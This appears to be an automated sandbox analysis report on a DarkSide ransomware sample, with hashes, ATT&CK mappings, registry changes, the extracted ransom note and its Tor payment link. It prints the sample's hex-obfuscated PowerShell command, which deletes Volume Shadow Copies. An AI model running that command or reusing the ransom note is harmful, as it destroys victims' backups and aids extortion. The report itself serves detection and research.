darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

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General

Target

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Size

59KB
MD5

69ec3d1368adbe75f3766fc88bc64afc
SHA1

11936a92144ef1b53eef16566a57b9052d173291
SHA256

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add
SHA512

58f0f04cb05221e9a50eab89924c45bccc15045e9552e10f39ebbb651eddc5d4fafd95a1ba80f4a6ab8d23c4d3dfff7669e2499650b328420c766cae82e439e8
SSDEEP

768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1ylQ+IxGY23W5o:BpDtG4nMpboDTV1ylnIfZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.47246f95.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (162) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\47246f95.BMP"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\47246f95.BMP"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallpaperStyle = "10"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Modifies registry class 5 IoCs

Processes:

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\47246f95.ico"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95\ = "47246f95"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

pid	process
2148	powershell.exe
1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSecurityPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeTakeOwnershipPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeLoadDriverPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSystemProfilePrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSystemtimePrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeProfSingleProcessPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeIncBasePriorityPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeCreatePagefilePrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeBackupPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeRestorePrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeShutdownPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeDebugPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSystemEnvironmentPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeRemoteShutdownPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeUndockPrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeManageVolumePrivilege	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: 33	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: 34	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: 35	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeBackupPrivilege	2792	vssvc.exe
Token: SeRestorePrivilege	2792	vssvc.exe
Token: SeAuditPrivilege	2792	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

description	pid	process	target process
PID 1108 wrote to memory of 2148	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	powershell.exe
PID 1108 wrote to memory of 2148	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	powershell.exe
PID 1108 wrote to memory of 2148	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	powershell.exe
PID 1108 wrote to memory of 2148	1108	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
"C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2792

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
542dff4fa24ce5974d2d39ba7a7b436b

SHA1
5c51ec55a60eae04007f195ccafc3ea7f0729a76

SHA256
011b1da9726ec68fcafa22180853bf658335be6d4d95f96b6160a93c268815bb

SHA512
633d55fa96268c107c5bbe4d0834274fd50b2c6cbee018efc84aa0919984f1f91616b9d056c73fce9daee84bf8a6d63990da4e1bee87274c4250f941a2f3b399

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab7937.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7988.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
ba6dcaf77af148c4c28ae2c35d5b460e

SHA1
5f8052a090b8e101b714f4935da14e6da83ed8d5

SHA256
094e3004738883e972ca1f380e6fbc212c0bbfcc89538f198a42c43ea2c1ee4f

SHA512
da0f4e5a0c18e78875a3fee4b3bb258fd7d6f7afe067c6d7cbce00f8870b1c2cfd264bbeabd3f1c2a6ddf1e726561803db095c83a35ad480336cb1dad527b71c

Download Submit
C:\Users\Admin\README.47246f95.TXT
Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/2148-61-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2148-60-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-63-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2148-62-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2148-64-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2148-65-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-58-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2148-59-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2148-57-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download